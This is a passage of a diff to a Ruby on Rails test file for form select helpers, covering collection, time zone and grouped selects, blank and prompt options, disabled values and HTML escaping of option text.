-        "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
-      )
-    end
-
-    def test_collection_select_with_blank_as_string_and_style
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      assert_dom_equal(
-        "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
-      )
-    end
-
-    def test_collection_select_with_multiple_option_appends_array_brackets
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
-
-      # Should suffix default name with [].
-      assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
-
-      # Shouldn't suffix custom name with [].
-      assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
-    end
-
-    def test_time_zone_select
-      @firm = Firm.new("D")
-      html = time_zone_select( "firm", "time_zone" )
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-    end
-
-    def test_time_zone_select_under_fields_for
-      @firm = Firm.new("D")
-
-      fields_for :firm, @firm do |f|
-        concat f.time_zone_select(:time_zone)
-      end
-    
-      assert_dom_equal(
-        "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-        "<option value=\"A\">A</option>\n" +
-        "<option value=\"B\">B</option>\n" +
-        "<option value=\"C\">C</option>\n" +
-        "<option value=\"D\" selected=\"selected\">D</option>\n" +
-        "<option value=\"E\">E</option>" +
-        "</select>",
-        output_buffer
-      )
-    end
-
-    def test_time_zone_select_under_fields_for_with_index
-      @firm = Firm.new("D")
-
-      fields_for :firm, @firm, :index => 305 do |f|
-        concat f.time_zone_select(:time_zone)
-      end
-
-      assert_dom_equal(
-        "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-        "<option value=\"A\">A</option>\n" +
-        "<option value=\"B\">B</option>\n" +
-        "<option value=\"C\">C</option>\n" +
-        "<option value=\"D\" selected=\"selected\">D</option>\n" +
-        "<option value=\"E\">E</option>" +
-        "</select>",
-        output_buffer
-      )
-    end
-
-    def test_time_zone_select_under_fields_for_with_auto_index
-      @firm = Firm.new("D")
-      def @firm.to_param; 305; end
-
-      fields_for "firm[]", @firm do |f|
-        concat f.time_zone_select(:time_zone)
-      end
-
-      assert_dom_equal(
-        "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-        "<option value=\"A\">A</option>\n" +
-        "<option value=\"B\">B</option>\n" +
-        "<option value=\"C\">C</option>\n" +
-        "<option value=\"D\" selected=\"selected\">D</option>\n" +
-        "<option value=\"E\">E</option>" +
-        "</select>",
-        output_buffer
-      )
-    end
-
-    def test_time_zone_select_with_blank
-      @firm = Firm.new("D")
-      html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"\"></option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-    end
-
-    def test_time_zone_select_with_blank_as_string
-      @firm = Firm.new("D")
-      html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"\">No Zone</option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-    end
-
-    def test_time_zone_select_with_style
-      @firm = Firm.new("D")
-      html = time_zone_select("firm", "time_zone", nil, {},
-        "style" => "color: red")
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-      assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
-        :style => "color: red")
-    end
-
-    def test_time_zone_select_with_blank_and_style
-      @firm = Firm.new("D")
-      html = time_zone_select("firm", "time_zone", nil,
-        { :include_blank => true }, "style" => "color: red")
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                   "<option value=\"\"></option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-      assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-        { :include_blank => true }, :style => "color: red")
-    end
-
-    def test_time_zone_select_with_blank_as_string_and_style
-      @firm = Firm.new("D")
-      html = time_zone_select("firm", "time_zone", nil,
-        { :include_blank => 'No Zone' }, "style" => "color: red")
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                   "<option value=\"\">No Zone</option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-      assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-        { :include_blank => 'No Zone' }, :style => "color: red")
-    end
-
-    def test_time_zone_select_with_priority_zones
-      @firm = Firm.new("D")
-      zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
-      html = time_zone_select("firm", "time_zone", zones )
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>" +
-                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-    end
-
-    def test_time_zone_select_with_priority_zones_as_regexp
-      @firm = Firm.new("D")
-      @fake_timezones.each_with_index do |tz, i|
-        tz.stubs(:=~).returns(i.zero? || i == 3)
-      end
-
-      html = time_zone_select("firm", "time_zone", /A|D/)
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>" +
-                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-    end
-
-    def test_time_zone_select_with_default_time_zone_and_nil_value
-       @firm = Firm.new()
-       @firm.time_zone = nil
-        html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-        assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                     "<option value=\"A\">A</option>\n" +
-                     "<option value=\"B\" selected=\"selected\">B</option>\n" +
-                     "<option value=\"C\">C</option>\n" +
-                     "<option value=\"D\">D</option>\n" +
-                     "<option value=\"E\">E</option>" +
-                     "</select>",
-                     html
-    end
-
-    def test_time_zone_select_with_default_time_zone_and_value
-       @firm = Firm.new('D')
-        html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-        assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                     "<option value=\"A\">A</option>\n" +
-                     "<option value=\"B\">B</option>\n" +
-                     "<option value=\"C\">C</option>\n" +
-                     "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                     "<option value=\"E\">E</option>" +
-                     "</select>",
-                     html
-    end
-
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
   end
-end
\ No newline at end of file
+
+  def test_select_under_fields_for_with_index
+    @post = Post.new
+    @post.category = "<mus>"
+
+    fields_for :post, @post, :index => 108 do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.category = "<mus>"
+    def @post.to_param; 108; end
+
+    fields_for "post[]", @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_string_and_given_prompt
+    @post = Post.new
+    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>"
+
+    fields_for :post, @post do |f|
+      concat f.select(:category, options, :prompt => 'The prompt')
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_blank
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :include_blank => true)
+    )
+  end
+
+  def test_select_with_blank_as_string
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+    )
+  end
+
+  def test_select_with_default_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true)
+    )
+  end
+
+  def test_select_no_prompt_when_select_has_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true)
+    )
+  end
+
+  def test_select_with_given_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+    )
+  end
+
+  def test_select_with_prompt_and_blank
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+    )
+  end
+
+  def test_select_with_selected_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+    )
+  end
+
+  def test_select_with_index_option
+    @album = Album.new
+    @album.id = 1
+  
+    expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"    
+
+    assert_dom_equal(
+      expected, 
+      select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+    )
+  end
+
+  def test_select_with_selected_nil
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :selected => nil)
+    )
+  end
+
+  def test_select_with_disabled_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
+    )
+  end
+
+  def test_select_with_disabled_array
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
+    )
+  end
+
+  def test_collection_select
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+    )
+  end
+
+  def test_collection_select_under_fields_for
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    fields_for :post, @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+  
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_index
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    fields_for :post, @post, :index => 815 do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.author_name = "Babe"
+    def @post.to_param; 815; end
+
+    fields_for "post[]", @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_with_blank_and_style
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_blank_as_string_and_style
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_multiple_option_appends_array_brackets
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+    # Should suffix default name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+
+    # Shouldn't suffix custom name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+  end
+
+  def test_collection_select_with_blank_and_selected
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
+    )
+  end
+
+  def test_collection_select_with_disabled
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
+       )
+  end
+
+  def test_time_zone_select
+    @firm = Firm.new("D")
+    html = time_zone_select( "firm", "time_zone" )
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_under_fields_for
+    @firm = Firm.new("D")
+
+    fields_for :firm, @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+  
+    assert_dom_equal(
+      "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_index
+    @firm = Firm.new("D")
+
+    fields_for :firm, @firm, :index => 305 do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_auto_index
+    @firm = Firm.new("D")
+    def @firm.to_param; 305; end
+
+    fields_for "firm[]", @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_with_blank
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"\"></option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_blank_as_string
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"\">No Zone</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, {},
+      "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+      :style => "color: red")
+  end
+
+  def test_time_zone_select_with_blank_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { :include_blank => true }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"\"></option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { :include_blank => true }, :style => "color: red")
+  end
+
+  def test_time_zone_select_with_blank_as_string_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { :include_blank => 'No Zone' }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"\">No Zone</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { :include_blank => 'No Zone' }, :style => "color: red")
+  end
+
+  def test_time_zone_select_with_priority_zones
+    @firm = Firm.new("D")
+    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+    html = time_zone_select("firm", "time_zone", zones )
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_priority_zones_as_regexp
+    @firm = Firm.new("D")
+    @fake_timezones.each_with_index do |tz, i|
+      tz.stubs(:=~).returns(i.zero? || i == 3)
+    end
+
+    html = time_zone_select("firm", "time_zone", /A|D/)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_nil_value
+     @firm = Firm.new()
+     @firm.time_zone = nil
+      html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\" selected=\"selected\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_value
+     @firm = Firm.new('D')
+      html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+  end
+
+  def test_grouped_collection_select
+    @continents = [
+      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
+      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
+    ]
+
+    @post = Post.new
+    @post.origin = 'dk'
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", @continents, :countries, :continent_name, :country_id, :country_name)
+    )
+  end
+
+  def test_grouped_collection_select_under_fields_for
+    @continents = [
+      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
+      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
+    ]
+
+    @post = Post.new
+    @post.origin = 'dk'
+
+    fields_for :post, @post do |f|
+      concat f.grouped_collection_select("origin", @continents, :countries, :continent_name, :country_id, :country_name)
+    end
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      output_buffer
+    )
+  end
+
+  private
+
+    def dummy_posts
+      [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+    end
+end
